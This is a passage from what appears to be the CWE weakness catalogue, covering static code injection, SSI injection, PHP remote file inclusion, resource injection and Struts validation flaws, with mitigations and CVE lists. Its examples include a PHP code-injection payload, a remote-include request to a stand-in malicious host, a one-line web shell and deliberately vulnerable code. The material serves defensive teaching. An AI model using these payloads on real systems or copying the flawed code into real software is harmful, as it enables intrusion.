Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy = Output Encoding

Perform proper output validation and escaping to neutralize all code syntax from data written to code files.

Demonstrative Examples

Example 1:

This example attempts to write user messages to a message file and allow users to view them.

Example Language: PHP

(Bad)

```
$MessageFile = "messages.out";
if ($_GET["action"] == "NewMessage") {
    $name = $_GET["name"];
    $message = $_GET["message"];
    $handle = fopen($MessageFile, "a+");
    fwrite($handle, "<b>$name</b> says '$message'<hr>\n");
    fclose($handle);
    echo "Message Saved!<p>\n";
}
else if ($_GET["action"] == "ViewMessages") {
    include($MessageFile);
}
```

While the programmer intends for the MessageFile to only include data, an attacker can provide a message such as:

Example Language:

(Attack)

```
name=h4x0r
message=%3C?php%20system(%22/bin/ls%20-l%22);?%3E
```

which will decode to the following:

Example Language:

(Attack)

```
<?php system("/bin/ls -l");?>
```

The programmer thought they were just including the contents of a regular data file, but PHP parsed it and executed the code. Now, this code is executed any time people view messages.

Notice that XSS (CWE-79) is also possible in this situation.

Observed Examples

Reference	Description
CVE-2002-0495	Perl code directly injected into CGI library file from parameters to another CGI program. https://www.cve.org/CVERecord?id=CVE-2002-0495
CVE-2005-1876	Direct PHP code injection into supporting template file. https://www.cve.org/CVERecord?id=CVE-2005-1876
CVE-2005-1894	Direct code injection into PHP script that can be accessed by attacker. https://www.cve.org/CVERecord?id=CVE-2005-1894
CVE-2003-0395	PHP code from User-Agent HTTP header directly inserted into log file implemented as PHP script. https://www.cve.org/CVERecord?id=CVE-2003-0395
CVE-2007-6652	chain: execution after redirect allows non-administrator to perform static code injection. https://www.cve.org/CVERecord?id=CVE-2007-6652




Affected Resources

- File or Directory

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2567

Nature	Type	ID	Name	V	Page
MemberOf		990	SFP Secondary Cluster: Tainted Input to Command	888	2413
MemberOf		1347	OWASP Top Ten 2021 Category A03:2021 - Injection	1344	2490
MemberOf		1409	Comprehensive Categorization: Injection	1400	2535

Notes

Relationship

"HTML injection" (see CWE-79: XSS) could be thought of as an example of this, but the code is injected and executed on the client side, not the server side. Server-Side Includes (SSI) are an example of direct static code injection.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Direct Static Code Injection
Software Fault Patterns	SFP24		Tainted Input to Command

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
35	Leverage Executable Code in Non-Executable Files
73	User-Controlled Filename
77	Manipulating User-Controlled Variables
81	Web Server Logs Tampering
85	AJAX Footprinting

CWE-97: Improper Neutralization of Server-Side Includes (SSI) Within a Web Page

Weakness ID : 97

Structure : Simple

Abstraction : Variant

Description

The product generates a web page, but does not neutralize or incorrectly neutralizes user-controllable input that could be interpreted as a server-side include (SSI) directive.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		96	Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')	232

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf		1019	Validate Inputs	2433

Applicable Platforms

Language : Not Language-Specific (*Prevalence = Undetermined*)

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability	Execute Unauthorized Code or Commands	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	2413
MemberOf	C	1347	OWASP Top Ten 2021 Category A03:2021 - Injection	1344	2490
MemberOf	C	1409	Comprehensive Categorization: Injection	1400	2535

Notes

Relationship

This can be resultant from XSS/HTML injection because the same special characters can be involved. However, this is server-side code execution, not client-side.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Server-Side Includes (SSI) Injection
WASC	36		SSI Injection

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
35	Leverage Executable Code in Non-Executable Files
101	Server Side Include (SSI) Injection

CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')

Weakness ID : 98

Structure : Simple

Abstraction : Variant

Description

The PHP application receives input from an upstream component, but it does not restrict or incorrectly restricts the input before its usage in "require," "include," or similar functions.










Extended Description

In certain versions and configurations of PHP, this can allow an attacker to specify a URL to a remote location from which the product will obtain the code to execute. In other cases in association with path traversal, the attacker can specify a local file that may contain executable statements that can be parsed by PHP.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		706	Use of Incorrectly-Resolved Name or Reference	1544
ChildOf		829	Inclusion of Functionality from Untrusted Control Sphere	1741
CanAlsoBe		426	Untrusted Search Path	1028
CanFollow		73	External Control of File Name or Path	132
CanFollow		184	Incomplete List of Disallowed Inputs	459
CanFollow		425	Direct Request ('Forced Browsing')	1025
CanFollow		456	Missing Initialization of a Variable	1089
CanFollow		473	PHP External Variable Modification	1127
CanPrecede		94	Improper Control of Generation of Code ('Code Injection')	219

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf		1019	Validate Inputs	2433

Applicable Platforms

Language : PHP (*Prevalence = Often*)

Alternate Terms

Remote file include :

RFI : The Remote File Inclusion (RFI) acronym is often used by vulnerability researchers.

Local file inclusion : This term is frequently used in cases in which remote download is disabled, or when the first part of the filename is not under the attacker's control, which forces use of relative path traversal (CWE-23) attack techniques to access files that may contain previously-injected PHP code, such as web access logs.

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality Availability	Execute Unauthorized Code or Commands <i>The attacker may be able to specify arbitrary code to be executed from a remote location. Alternatively, it may be possible to use normal program behavior to insert php code into files on the local machine which can then be included and force the code to execute since php ignores everything in the file except for the content between php specifiers.</i>	

Detection Methods

Manual Analysis

Manual white-box analysis can be very effective for finding this issue, since there is typically a relatively small number of include or require statements in each program.

Effectiveness = High

Automated Static Analysis

The external control or influence of filenames can often be detected using automated static analysis that models data flow within the product. Automated static analysis might not be able to recognize when proper input validation is being performed, leading to false positives - i.e., warnings that do not have any security consequences or require any code changes. If the program uses a customized input validation library, then some tools may allow the analyst to create custom signatures to detect usage of those routines.

Potential Mitigations**Phase: Architecture and Design***Strategy = Libraries or Frameworks*

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

Phase: Architecture and Design*Strategy = Enforcement by Conversion*

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Phase: Architecture and Design**Phase: Operation***Strategy = Sandbox or Jail*

Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.

Effectiveness = Limited

The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.

Phase: Architecture and Design**Phase: Operation***Strategy = Environment Hardening*

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Phase: Implementation*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing

input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent lists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../.../" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

Effectiveness = High

Phase: Architecture and Design

Phase: Operation

Strategy = Attack Surface Reduction

Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately. This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.

Phase: Architecture and Design

Phase: Implementation

Strategy = Attack Surface Reduction

Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls. Many file inclusion problems occur because the programmer assumed that certain inputs could not be modified, especially for cookies and URL components.

Phase: Operation

Strategy = Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth.

Effectiveness = Moderate

An application firewall might not cover all possible input vectors. In addition, attack techniques might be available to bypass the protection mechanism, such as using malformed inputs that can

still be processed by the component that receives those inputs. Depending on functionality, an application firewall might inadvertently reject or modify legitimate requests. Finally, some manual effort may be required for customization.

Phase: Operation**Phase: Implementation**

Strategy = Environment Hardening

Develop and run your code in the most recent versions of PHP available, preferably PHP 6 or later. Many of the highly risky features in earlier PHP interpreters have been removed, restricted, or disabled by default.

Phase: Operation**Phase: Implementation**

Strategy = Environment Hardening

When using PHP, configure the application so that it does not use `register_globals`. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a `register_globals` emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues. Often, programmers do not protect direct access to files intended only to be included by core programs. These include files may assume that critical variables have already been initialized by the calling program. As a result, the use of `register_globals` combined with the ability to directly access the include file may allow attackers to conduct file inclusion attacks. This remains an extremely common pattern as of 2009.

Phase: Operation

Strategy = Environment Hardening

Set `allow_url_fopen` to false, which limits the ability to include files from remote locations.

Effectiveness = High

Be aware that some versions of PHP will still accept ftp:// and other URI schemes. In addition, this setting does not protect the code from path traversal attacks (CWE-22), which are frequently successful against the same vulnerable code that allows remote file inclusion.

Demonstrative Examples**Example 1:**

The following code, `victim.php`, attempts to include a function contained in a separate PHP page on the server. It builds the path to the file by using the supplied `'module_name'` parameter and appending the string `'/function.php'` to it.

Example Language: PHP

(Bad)

```
$dir = $_GET['module_name'];  
include($dir . "/function.php");
```

The problem with the above code is that the value of `$dir` is not restricted in any way, and a malicious user could manipulate the `'module_name'` parameter to force inclusion of an unanticipated file. For example, an attacker could request the above PHP page (`example.php`) with a `'module_name'` of `"http://malicious.example.com"` by using the following request string:

Example Language:

(Attack)

```
victim.php?module_name=http://malicious.example.com
```

Upon receiving this request, the code would set `'module_name'` to the value `"http://malicious.example.com"` and would attempt to include `http://malicious.example.com/function.php`, along with any malicious code it contains.

For the sake of this example, assume that the malicious version of function.php looks like the following:

Example Language:

(Bad)

```
system($_GET['cmd']);
```

An attacker could now go a step further in our example and provide a request string as follows:

Example Language:

(Attack)

```
victim.php?module_name=http://malicious.example.com&cmd=/bin/ls%20-l
```

The code will attempt to include the malicious function.php file from the remote site. In turn, this file executes the command specified in the 'cmd' parameter from the query string. The end result is an attempt by victim.php to execute the potentially malicious command, in this case:

Example Language:

(Attack)

```
/bin/ls -l
```

Note that the above PHP example can be mitigated by setting allow_url_fopen to false, although this will not fully protect the code. See potential mitigations.

Observed Examples

Reference	Description
CVE-2004-0285	Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request. https://www.cve.org/CVERecord?id=CVE-2004-0285
CVE-2004-0030	Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request. https://www.cve.org/CVERecord?id=CVE-2004-0030
CVE-2004-0068	Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request. https://www.cve.org/CVERecord?id=CVE-2004-0068
CVE-2005-2157	Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request. https://www.cve.org/CVERecord?id=CVE-2005-2157
CVE-2005-2162	Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request. https://www.cve.org/CVERecord?id=CVE-2005-2162
CVE-2005-2198	Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request. https://www.cve.org/CVERecord?id=CVE-2005-2198
CVE-2004-0128	Modification of assumed-immutable variable in configuration script leads to file inclusion. https://www.cve.org/CVERecord?id=CVE-2004-0128
CVE-2005-1864	PHP file inclusion. https://www.cve.org/CVERecord?id=CVE-2005-1864
CVE-2005-1869	PHP file inclusion. https://www.cve.org/CVERecord?id=CVE-2005-1869
CVE-2005-1870	PHP file inclusion. https://www.cve.org/CVERecord?id=CVE-2005-1870
CVE-2005-2154	PHP local file inclusion. https://www.cve.org/CVERecord?id=CVE-2005-2154
CVE-2002-1704	PHP remote file include.

Reference	Description
	https://www.cve.org/CVERecord?id=CVE-2002-1704
CVE-2002-1707	PHP remote file include. https://www.cve.org/CVERecord?id=CVE-2002-1707
CVE-2005-1964	PHP remote file include. https://www.cve.org/CVERecord?id=CVE-2005-1964
CVE-2005-1681	PHP remote file include. https://www.cve.org/CVERecord?id=CVE-2005-1681
CVE-2005-2086	PHP remote file include. https://www.cve.org/CVERecord?id=CVE-2005-2086
CVE-2004-0127	Directory traversal vulnerability in PHP include statement. https://www.cve.org/CVERecord?id=CVE-2004-0127
CVE-2005-1971	Directory traversal vulnerability in PHP include statement. https://www.cve.org/CVERecord?id=CVE-2005-1971
CVE-2005-3335	PHP file inclusion issue, both remote and local; local include uses "." and "%00" characters as a manipulation, but many remote file inclusion issues probably have this vector. https://www.cve.org/CVERecord?id=CVE-2005-3335
CVE-2009-1936	chain: library file sends a redirect if it is directly requested but continues to execute, allowing remote file inclusion and path traversal. https://www.cve.org/CVERecord?id=CVE-2009-1936

Affected Resources

- File or Directory

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	714	OWASP Top Ten 2007 Category A3 - Malicious File Execution	629	2331
MemberOf	C	727	OWASP Top Ten 2004 Category A6 - Injection Flaws	711	2337
MemberOf	C	802	2010 Top 25 - Risky Resource Management	800	2354
MemberOf	C	1347	OWASP Top Ten 2021 Category A03:2021 - Injection	1344	2490
MemberOf	C	1416	Comprehensive Categorization: Resource Lifecycle Management	1400	2545

Notes

Relationship

This is frequently a functional consequence of other weaknesses. It is usually multi-factor with other factors (e.g. MAID), although not all inclusion bugs involve assumed-immutable data. Direct request weaknesses frequently play a role. Can overlap directory traversal in local inclusion problems.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			PHP File Include
OWASP Top Ten 2007	A3	CWE More Specific	Malicious File Execution
WASC	5		Remote File Inclusion

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
193	PHP Remote File Inclusion

References

[REF-185]OWASP. "Testing for Path Traversal (OWASP-AZ-001)". < [http://www.owasp.org/index.php/Testing_for_Path_Traversal_\(OWASP-AZ-001\)](http://www.owasp.org/index.php/Testing_for_Path_Traversal_(OWASP-AZ-001)) >.

[REF-76]Sean Barnum and Michael Gegick. "Least Privilege". 2005 September 4. < <https://web.archive.org/web/20211209014121/https://www.cisa.gov/uscert/bsi/articles/knowledge/principles/least-privilege> >.2023-04-07.

[REF-951]Shaun Clowes. "A Study in Scarlet". < <https://www.cgisecurity.com/lib/studyinscarlet.txt> >.2023-04-07.

[REF-952]Stefan Esser. "Suhosin". < <http://www.hardened-php.net/suhosin/> >.

[REF-953]Johannes Ullrich. "Top 25 Series - Rank 13 - PHP File Inclusion". 2010 March 1. SANS Software Security Institute. < <https://www.sans.org/blog/top-25-series-rank-13-php-file-inclusion/> >.2023-04-07.

CWE-99: Improper Control of Resource Identifiers ('Resource Injection')

Weakness ID : 99

Structure : Simple

Abstraction : Class

Description

The product receives input from an upstream component, but it does not restrict or incorrectly restricts the input before it is used as an identifier for a resource that may be outside the intended sphere of control.

Extended Description

A resource injection issue occurs when the following two conditions are met:






1. An attacker can specify the identifier used to access a system resource. For example, an attacker might be able to specify part of the name of a file to be opened or a port number to be used.
2. By specifying the resource, the attacker gains a capability that would not otherwise be permitted. For example, the program may give the attacker the ability to overwrite the specified file, run with a configuration controlled by the attacker, or transmit sensitive information to a third-party server.



This may enable an attacker to access or modify otherwise protected system resources.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		74	Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')	137
ParentOf		641	Improper Restriction of Names for Files and Other Resources	1412
ParentOf		694	Use of Multiple Resources with Duplicate Identifier	1523
ParentOf		914	Improper Control of Dynamically-Identified Variables	1807
PeerOf		706	Use of Incorrectly-Resolved Name or Reference	1544

Nature	Type	ID	Name	Page
PeerOf		706	Use of Incorrectly-Resolved Name or Reference	1544
CanAlsoBe		73	External Control of File Name or Path	132

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf		1019	Validate Inputs	2433

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Not Language-Specific (*Prevalence = Undetermined*)

Alternate Terms

Insecure Direct Object Reference : OWASP uses this term, although it is effectively the same as resource injection.

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity	Read Application Data Modify Application Data Read Files or Directories Modify Files or Directories <i>An attacker could gain access to or modify sensitive data or system resources. This could allow access to protected files or directories including configuration files and files containing sensitive information.</i>	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if

the code's environment changes. This can give attackers enough room to bypass the intended validation. However, it can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Demonstrative Examples

Example 1:

The following Java code uses input from an HTTP request to create a file name. The programmer has not considered the possibility that an attacker could provide a file name such as "../../tomcat/conf/server.xml", which causes the application to delete one of its own configuration files.

Example Language: Java

(Bad)

```
String rName = request.getParameter("reportName");
File rFile = new File("/usr/local/apfr/reports/" + rName);
...
rFile.delete();
```

Example 2:

The following code uses input from the command line to determine which file to open and echo back to the user. If the program runs with privileges and malicious users can create soft links to the file, they can use the program to read the first part of any file on the system.

Example Language: C++

(Bad)

```
ifstream ifs(argv[0]);
string s;
ifs >> s;
cout << s;
```









The kind of resource the data affects indicates the kind of content that may be dangerous. For example, data containing special characters like period, slash, and backslash, are risky when used in methods that interact with the file system. (Resource injection, when it is related to file system resources, sometimes goes by the name "path manipulation.") Similarly, data that contains URLs and URIs is risky for functions that create remote connections.

Observed Examples

Reference	Description
CVE-2013-4787	chain: mobile OS verifies cryptographic signature of file in an archive, but then installs a different file with the same name that is also listed in the archive. https://www.cve.org/CVERecord?id=CVE-2013-4787

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		813	OWASP Top Ten 2010 Category A4 - Insecure Direct Object References	809	2357
MemberOf		884	CWE Cross-section	884	2567
MemberOf		932	OWASP Top Ten 2013 Category A4 - Insecure Direct Object References	928	2390
MemberOf		990	SFP Secondary Cluster: Tainted Input to Command	888	2413
MemberOf		1005	7PK - Input Validation and Representation	700	2421
MemberOf		1131	CISQ Quality Measures (2016) - Security	1128	2442
MemberOf		1308	CISQ Quality Measures - Security	1305	2485
MemberOf		1340	CISQ Data Protection Measures	1340	2590

Nature	Type	ID	Name	V	Page
MemberOf	C	1347	OWASP Top Ten 2021 Category A03:2021 - Injection	1344	2490
MemberOf	C	1409	Comprehensive Categorization: Injection	1400	2535

Notes

Relationship

Resource injection that involves resources stored on the filesystem goes by the name path manipulation (CWE-73).

Maintenance

The relationship between CWE-99 and CWE-610 needs further investigation and clarification. They might be duplicates. CWE-99 "Resource Injection," as originally defined in Seven Pernicious Kingdoms taxonomy, emphasizes the "identifier used to access a system resource" such as a file name or port number, yet it explicitly states that the "resource injection" term does not apply to "path manipulation," which effectively identifies the path at which a resource can be found and could be considered to be one aspect of a resource identifier. Also, CWE-610 effectively covers any type of resource, whether that resource is at the system layer, the application layer, or the code layer.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Resource Injection
Software Fault Patterns	SFP24		Tainted input to command
OMG ASCSM	ASCSM-CWE-99		

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
10	Buffer Overflow via Environment Variables
75	Manipulating Writeable Configuration Files
240	Resource Injection

References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf >.

[REF-962]Object Management Group (OMG). "Automated Source Code Security Measure (ASCSM)". 2016 January. < <http://www.omg.org/spec/ASCSM/1.0/> >.

CWE-102: Struts: Duplicate Validation Forms

Weakness ID : 102

Structure : Simple

Abstraction : Variant

Description

The product uses multiple validation forms with the same name, which might cause the Struts Validator to validate a form that the programmer does not expect.

Extended Description




If two validation forms have the same name, the Struts Validator arbitrarily chooses one of the forms to use for input validation and discards the other. This decision might not correspond to the

programmer's expectations, possibly leading to resultant weaknesses. Moreover, it indicates that the validation logic is not up-to-date, and can indicate that other, more subtle validation errors are present.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		1173	Improper Use of Validation Framework	1969
ChildOf		694	Use of Multiple Resources with Duplicate Identifier	1523
PeerOf		675	Multiple Operations on Resource in Single-Operation Context	1487

Relevant to the view "Seven Pernicious Kingdoms" (CWE-700)

Nature	Type	ID	Name	Page
ChildOf		20	Improper Input Validation	20

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Java (*Prevalence = Undetermined*)

Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

Potential Mitigations

Phase: Implementation

The DTD or schema validation will not catch the duplicate occurrence of the same form name. To find the issue in the implementation, manual checks or automated static analysis could be applied to the xml configuration files.

Demonstrative Examples

Example 1:

These two Struts validation forms have the same name.

Example Language: XML

(Bad)

```
<form-validation>
  <formset>
    <form name="ProjectForm"> ... </form>
    <form name="ProjectForm"> ... </form>
  </formset>
</form-validation>
```

It is not certain which form will be used by Struts. It is critically important that validation logic be maintained and kept in sync with the rest of the product.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf		722	OWASP Top Ten 2004 Category A1 - Unvalidated Input	711	2334
MemberOf		990	SFP Secondary Cluster: Tainted Input to Command	888	2413
MemberOf		1409	Comprehensive Categorization: Injection	1400	2535

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Struts: Duplicate Validation Forms
Software Fault Patterns	SFP24		Tainted input to command

References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf >.

CWE-103: Struts: Incomplete validate() Method Definition

Weakness ID : 103

Structure : Simple

Abstraction : Variant

Description

The product has a validator form that either does not define a validate() method, or defines a validate() method but does not call super.validate().

Extended Description

If the code does not call super.validate(), the Validation Framework cannot check the contents of the form against a validation form. In other words, the validation framework will be disabled for the given form.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		573	Improper Following of Specification by Caller	1298

Relevant to the view "Seven Pernicious Kingdoms" (CWE-700)

Nature	Type	ID	Name	Page
ChildOf		20	Improper Input Validation	20

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Java (Prevalence = Undetermined)

Background Details

The Struts Validator uses a form's `validate()` method to check the contents of the form properties against the constraints specified in the associated validation form. That means the following classes have a `validate()` method that is part of the validation framework: `ValidatorForm`, `ValidatorActionForm`, `DynaValidatorForm`, and `DynaValidatorActionForm`. If the code creates a class that extends one of these classes, and if that class implements custom validation logic by overriding the `validate()` method, the code must call `super.validate()` in the `validate()` implementation.

Common Consequences

Scope	Impact	Likelihood
Other	Other	
	<i>Disabling the validation framework for a form exposes the product to numerous types of attacks. Unchecked input is the root cause of vulnerabilities like cross-site scripting, process control, and SQL injection.</i>	
Confidentiality Integrity Availability Other	Other	
	<i>Although J2EE applications are not generally susceptible to memory corruption attacks, if a J2EE application interfaces with native code that does not perform array bounds checking, an attacker may be able to use an input validation mistake in the J2EE application to launch a buffer overflow attack.</i>	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

Implement the `validate()` method and call `super.validate()` within that method.

Demonstrative Examples

Example 1:

